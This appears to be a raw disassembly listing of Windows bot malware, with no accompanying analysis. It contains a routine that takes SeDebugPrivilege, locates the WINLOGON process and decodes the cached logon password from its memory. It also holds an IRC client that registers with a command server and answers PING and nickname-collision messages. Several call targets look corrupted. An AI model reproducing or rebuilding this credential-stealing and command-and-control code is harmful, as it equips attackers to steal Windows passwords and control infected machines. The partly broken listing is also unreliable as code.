dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h
dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h
dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
dd 0E8905359h, 2308E94h, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h
dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h
dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h
dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h
dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h
dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
dd 0E890FC75h, 2388DD8h, 8F75C085h, 90FC75FFh, 1E8DCBE8h
dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h
dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h, 0C0850238h
dd 0E856B175h, 21E8D48h, 1C458B90h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41AE41
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417300
cmp eax, 2
jz short loc_417300
push offset unk_438678
jmp loc_41743F
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_4172C1+2Ej
; sub_4172C1+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
test eax, eax
pop ecx
jz loc_41743A
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call near ptr 26E0C7Eh
nop
mov esi, dword_4270C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D483C, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4830, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D4A40, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4838, eax
call esi
mov dword_4D4834, eax
call sub_417493
test eax, eax
mov [ebp+arg_0], eax
jz loc_41740D
mov esi, dword_427148
mov edi, 400h
mov ebx, offset dword_4D3830
push edi
push ebx
push offset off_4385B4
call esi
push edi
mov edi, offset dword_4D4030
push edi
push offset off_43859C
call esi
cmp [ebp+var_4], 1
push offset dword_4D4A48
push [ebp+arg_0]
jnz short loc_4173B9
call sub_41761C
jmp short loc_4173BE
; ---------------------------------------------------------------------------
loc_4173B9: ; CODE XREF: sub_4172C1+EFj
call sub_4177C3
loc_4173BE: ; CODE XREF: sub_4172C1+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417406
cmp dword_4D4A48, 0
jnz short loc_4173ED
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_438540
push 200h
push eax
call sub_41C360
add esp, 18h
jmp short loc_417420
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_4172C1+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173FD
call sub_4178F9
jmp short loc_417402
; ---------------------------------------------------------------------------
loc_4173FD: ; CODE XREF: sub_4172C1+133j
call sub_417990
loc_417402: ; CODE XREF: sub_4172C1+13Aj
pop ecx
push eax
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_417406: ; CODE XREF: sub_4172C1+101j
push offset unk_438508
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_41740D: ; CODE XREF: sub_4172C1+B6j
push offset unk_4384DC
loc_417412: ; CODE XREF: sub_4172C1+143j
; sub_4172C1+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_417420: ; CODE XREF: sub_4172C1+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 27E0000h
pop ebx
jmp short loc_41744D
; ---------------------------------------------------------------------------
loc_41743A: ; CODE XREF: sub_4172C1+4Ej
push offset unk_4384A8
loc_41743F: ; CODE XREF: sub_4172C1+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41744D: ; CODE XREF: sub_4172C1+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417474
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409869
add esp, 14h
loc_417474: ; CODE XREF: sub_4172C1+191j
lea eax, [ebp+var_29C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
call near ptr 2720000h
pop edi
pop esi
sub_4172C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417493 proc near ; CODE XREF: sub_4172C1+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427154
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427150
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D483C
push ebp
push 0
call esi
push eax
call near ptr 27F0000h
nop
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D483C
test eax, eax
jnz short loc_417580
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417580
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417580
loc_41751C: ; CODE XREF: sub_417493+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417573
push 0
push 0
call dword_4D4830
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D4A40
test eax, eax
jnz short loc_417564
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417598
loc_417564: ; CODE XREF: sub_417493+AAj
test edi, edi
jz short loc_41756F
push edi
call dword_4D4838
loc_41756F: ; CODE XREF: sub_417493+D3j
mov eax, [esp+28h+var_10]
loc_417573: ; CODE XREF: sub_417493+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_41751C
loc_417580: ; CODE XREF: sub_417493+6Dj
; sub_417493+7Aj ...
xor edi, edi
loc_417582: ; CODE XREF: sub_417493+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 27F0000h
mov eax, edi
loc_417590: ; CODE XREF: sub_417493+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_417493+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417601
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_4175AE: ; CODE XREF: sub_417493+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417615
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4175F3
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4175F3: ; CODE XREF: sub_417493+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_4175AE
loc_417601: ; CODE XREF: sub_417493+10Fj
test edi, edi
jz short loc_41760C
push edi
call dword_4D4838
loc_41760C: ; CODE XREF: sub_417493+170j
mov edi, [esp+28h+var_4]
jmp loc_417582
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417493+13Cj
xor eax, eax
jmp loc_417590
sub_417493 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761C proc near ; CODE XREF: sub_4172C1+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call near ptr 26C079Eh
nop
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417645
xor eax, eax
jmp loc_4177C0
; ---------------------------------------------------------------------------
loc_417645: ; CODE XREF: sub_41761C+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 2810256h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427154
push 8
call esi
mov edi, dword_427150
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_42715C
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_417695
xor esi, esi
jmp loc_4177B3
; ---------------------------------------------------------------------------
loc_417695: ; CODE XREF: sub_41761C+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 2800C0Ch
test eax, eax
jz loc_4177A2
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4177A2
test [ebp+var_2B], 1
jnz loc_4177A2
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4177A2
loc_4176F8: ; CODE XREF: sub_41761C+112j
push edi
push offset dword_4D3830
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_417720
lea eax, [edi+200h]
push eax
push offset dword_4D4030
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_417730
loc_417720: ; CODE XREF: sub_41761C+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4177A2
jmp short loc_4176F8
; ---------------------------------------------------------------------------
loc_417730: ; CODE XREF: sub_41761C+102j
test edi, edi
jz short loc_4177A2
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call near ptr 279072Bh
nop
test eax, eax
jz short loc_41776B
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 2790000h
test eax, eax
jz short loc_41776B
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41776B: ; CODE XREF: sub_41761C+12Bj
; sub_41761C+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4A54, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D4A4C, eax
mov dword_4D4A50, edi
loc_4177A2: ; CODE XREF: sub_41761C+90j
; sub_41761C+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 27F0000h
mov esi, [ebp+var_10]
loc_4177B3: ; CODE XREF: sub_41761C+74j
push [ebp+var_4]
nop
call near ptr 26A0000h
pop edi
mov eax, esi
pop ebx
loc_4177C0: ; CODE XREF: sub_41761C+24j
pop esi
leave
retn
sub_41761C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call near ptr 26C079Eh
nop
test eax, eax
mov [ebp+arg_0], eax
jz loc_4178B5
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
nop
call near ptr 2810256h
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_4178AC
mov edi, dword_427154
loc_41780E: ; CODE XREF: sub_4177C3+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 2800C0Ch
test eax, eax
jz short loc_41789A
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4178A0
test [ebp+var_13], 1
jnz short loc_4178A0
push ecx
push 8
call edi
push eax
nop
call near ptr 2800000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call near ptr 2810000h
nop
test eax, eax
jz short loc_41788C
push offset dword_4D3830
push esi
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_41788C
lea eax, [esi+400h]
push offset dword_4D4030
push eax
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
loc_41788C: ; CODE XREF: sub_4177C3+9Fj
; sub_4177C3+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 27F0000h
jmp short loc_4178A0
; ---------------------------------------------------------------------------
loc_41789A: ; CODE XREF: sub_4177C3+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4178A0: ; CODE XREF: sub_4177C3+71j
; sub_4177C3+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_41780E
loc_4178AC: ; CODE XREF: sub_4177C3+3Fj
push [ebp+arg_0]
nop
call near ptr 26A0000h
loc_4178B5: ; CODE XREF: sub_4177C3+1Ej
xor eax, eax
loc_4178B7: ; CODE XREF: sub_4177C3+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4178BC: ; CODE XREF: sub_4177C3+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D4A4C, ebx
mov dword_4D4A50, eax
cmp [eax], cl
jnz short loc_4178DE
cmp [eax+1], cl
jz short loc_4178E6
loc_4178DE: ; CODE XREF: sub_4177C3+114j
; sub_4177C3+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4178DE
loc_4178E6: ; CODE XREF: sub_4177C3+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 26A0000h
push 1
pop eax
jmp short loc_4178B7
sub_4177C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D4A48
push esi
mov esi, dword_427154
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 2800000h
mov ecx, dword_4D4A48
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4A50
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4A54
push eax
call dword_4D4834
push [ebp+var_4]
mov edi, offset dword_4D4840
push offset dword_4D3830
push offset dword_4D4030
push [ebp+arg_0]
push offset dword_4386C4
push 200h
push edi
call sub_41C360
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
nop
call near ptr 27F0000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D4A48
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call near ptr 2800B96h
nop
push eax
nop
call near ptr 2800000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D4030
mov edi, 200h
mov esi, offset dword_4D3630
loc_4179D6: ; CODE XREF: sub_417990+FAj
mov eax, dword_4D4A48
add eax, eax
push eax
push dword_4D4A50
push [ebp+var_14]
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4834
mov eax, dword_4D4A48
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417A4B
loc_417A13: ; CODE XREF: sub_417990+B3j
cmp [ebp+var_8], 0
jz short loc_417A68
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417A37
cmp byte ptr [ecx+1], 0
jnz short loc_417A37
cmp dl, 20h
jnb short loc_417A31
and [ebp+var_8], 0
loc_417A31: ; CODE XREF: sub_417990+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417A3B
loc_417A37: ; CODE XREF: sub_417990+90j
; sub_417990+96j
and [ebp+var_8], 0
loc_417A3B: ; CODE XREF: sub_417990+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417A13
cmp [ebp+var_8], 0
jz short loc_417A68
loc_417A4B: ; CODE XREF: sub_417990+81j
push [ebp+var_14]
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_4386C4
push edi
push esi
call sub_41C360
add esp, 1Ch
jmp short loc_417A80
; ---------------------------------------------------------------------------
loc_417A68: ; CODE XREF: sub_417990+87j
; sub_417990+B9j
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_438714
push edi
push esi
call sub_41C360
add esp, 18h
loc_417A80: ; CODE XREF: sub_417990+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4179D6
push [ebp+var_14]
push 0
nop
call near ptr 2800B96h
push eax
call near ptr 27F0000h
nop
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417B25
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14
cmp eax, esi
jnz short loc_417B0A
push [ebp+arg_0]
call dword_4CBA58
test eax, eax
jz short loc_417B25
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417B0A: ; CODE XREF: sub_417AA9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, esi
jnz short loc_417B29
push edi
call dword_4CBA6C
loc_417B25: ; CODE XREF: sub_417AA9+1Bj
; sub_417AA9+58j
mov eax, esi
jmp short loc_417B2B
; ---------------------------------------------------------------------------
loc_417B29: ; CODE XREF: sub_417AA9+73j
mov eax, edi
loc_417B2B: ; CODE XREF: sub_417AA9+7Ej
pop edi
pop esi
leave
retn
sub_417AA9 endp
; =============== S U B R O U T I N E =======================================
sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp
; sub_401ACD+32B6p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41C8A0
pop ecx
mov esi, offset dword_4D4A5C
pop ecx
loc_417B47: ; CODE XREF: sub_417B2F+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B65
cmp dword ptr [esi], 0
jbe short loc_417B65
push 0
push edi
call sub_41B9C0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CBA24
loc_417B65: ; CODE XREF: sub_417B2F+1Cj
; sub_417B2F+21j
add esi, 210h
cmp esi, offset dword_4DB17C
jl short loc_417B47
pop edi
pop esi
retn
sub_417B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B76 proc near ; CODE XREF: sub_417C61+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDC0 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41CAD4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B9B: ; CODE XREF: sub_417B76+35j
push esi
push 0
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B9B
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417BC3
cmp esi, edi
jnz short loc_417BC3
push 1
pop eax
jmp loc_417C5C
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B76+3Fj
; sub_417B76+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41CA50
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417BDE
push offset dword_43932C
jmp short loc_417C2C
; ---------------------------------------------------------------------------
loc_417BDE: ; CODE XREF: sub_417B76+5Fj
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417BFF
push esi
push offset dword_439328
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
loc_417BFF: ; CODE XREF: sub_417B76+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BF70
lea eax, [ebp+var_420]
push eax
call sub_417E84
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_43931C
loc_417C2C: ; CODE XREF: sub_417B76+66j
lea eax, [ebp+var_220]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CBA24
loc_417C5A: ; CODE XREF: sub_417B76+87j
xor eax, eax
loc_417C5C: ; CODE XREF: sub_417B76+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C61 proc near ; DATA XREF: sub_417E06+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C500
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4A64[esi]
mov dword_4D4A58[esi], edi
push dword_4D4C64[esi]
push eax
call sub_417AA9
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D4A5C[esi], eax
jb loc_417DE6
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BF70
lea eax, [ebp+var_2008]
push eax
call sub_417E84
lea eax, [ebp+var_4008]
push eax
call sub_417E84
lea eax, [ebp+var_3008]
push eax
call sub_417E84
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D4A5C[esi]
call dword_4CBA24
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
loc_417D3D: ; CODE XREF: sub_417C61+111j
; sub_417C61+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D4A5C[esi]
call dword_4CB9EC
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417DE6
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417D3D
loc_417D74: ; CODE XREF: sub_417C61+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417D9B
cmp al, 0Ah
jz short loc_417D9B
cmp [ebp+arg_0], 0FA0h
jz short loc_417D9B
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417DD5
; ---------------------------------------------------------------------------
loc_417D9B: ; CODE XREF: sub_417C61+11Cj
; sub_417C61+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417DD5
push dword_4D4A5C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417B76
pop ecx
test eax, eax
pop ecx
ja short loc_417DE6
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417DD5: ; CODE XREF: sub_417C61+138j
; sub_417C61+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D74
jmp loc_417D3D
; ---------------------------------------------------------------------------
loc_417DE6: ; CODE XREF: sub_417C61+40j
; sub_417C61+107j ...
mov dword_4D4A58[esi], ebx
mov esi, dword_4D4A5C[esi]
cmp esi, ebx
jbe short loc_417DFD
push esi
call dword_4CBA6C
loc_417DFD: ; CODE XREF: sub_417C61+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E7F
